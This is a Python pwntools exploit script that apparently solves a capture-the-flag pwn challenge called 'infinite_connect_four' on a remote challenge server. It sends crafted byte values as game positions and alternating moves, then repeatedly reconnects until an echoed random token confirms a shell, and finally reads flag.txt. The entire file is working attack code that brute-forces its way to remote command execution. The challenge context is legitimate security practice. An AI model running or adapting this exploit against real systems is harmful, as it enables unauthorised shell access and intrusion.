from pwn import process, remote
import sys
import random
import string

LOCAL = False 

def send_positions(p, one, two):
    print(f"Sending positions: {one} and {two}")
    p.recvuntil(b"> ")
    p.sendline(one)
    p.recvuntil(b"> ")
    p.sendline(two)

def random_token(length=8):
    return "".join(random.choice(string.ascii_uppercase) for _ in range(length)).encode()

def got_shell(p, token):
    # 1. Send `echo TOKEN`
    p.recvuntil(b"> ")
    p.sendline(b"a")
    p.sendline(b"echo " + token)

    # 2. Try to read back exactly that token within, say, 20 seconds total.
    #    We call recvuntil(token) to ensure we see the token.
    try:
        p.recvuntil(token, timeout=20)
        return True
    except EOFError:
        return False

ctr = 0

while True:
    ctr += 1
    if LOCAL:
        p = process("./infinite_connect_four")
    else:
        p = remote("challs.nusgreyhats.org",  port=33102, timeout=15)

    send_positions(p, b"\xc9", b"\x5f")
    for i in range(16):
        if i % 2 == 0:
            send_positions(p, b"0", b"1")
        else:
            send_positions(p, b"1", b"0")

    
    try:
        p.sendline(b"")  # just a blank line to flush
    except (BrokenPipeError, EOFError):
        print(f"[-] Connection closed immediately after exploit (try {ctr}) → no shell")
        p.close()
        continue  # go to next iteration

    token = random_token(12)

    if got_shell(p, token):
        print(f"[+] We saw the marker {token!r} → success (try {ctr})")
        p.sendline(b"cat flag.txt")
        print(p.recvuntil(b"}"))
        sys.exit()
    else:
        print(f"[-] No {token!r} within timeout → no shell (try {ctr})")
        p.close()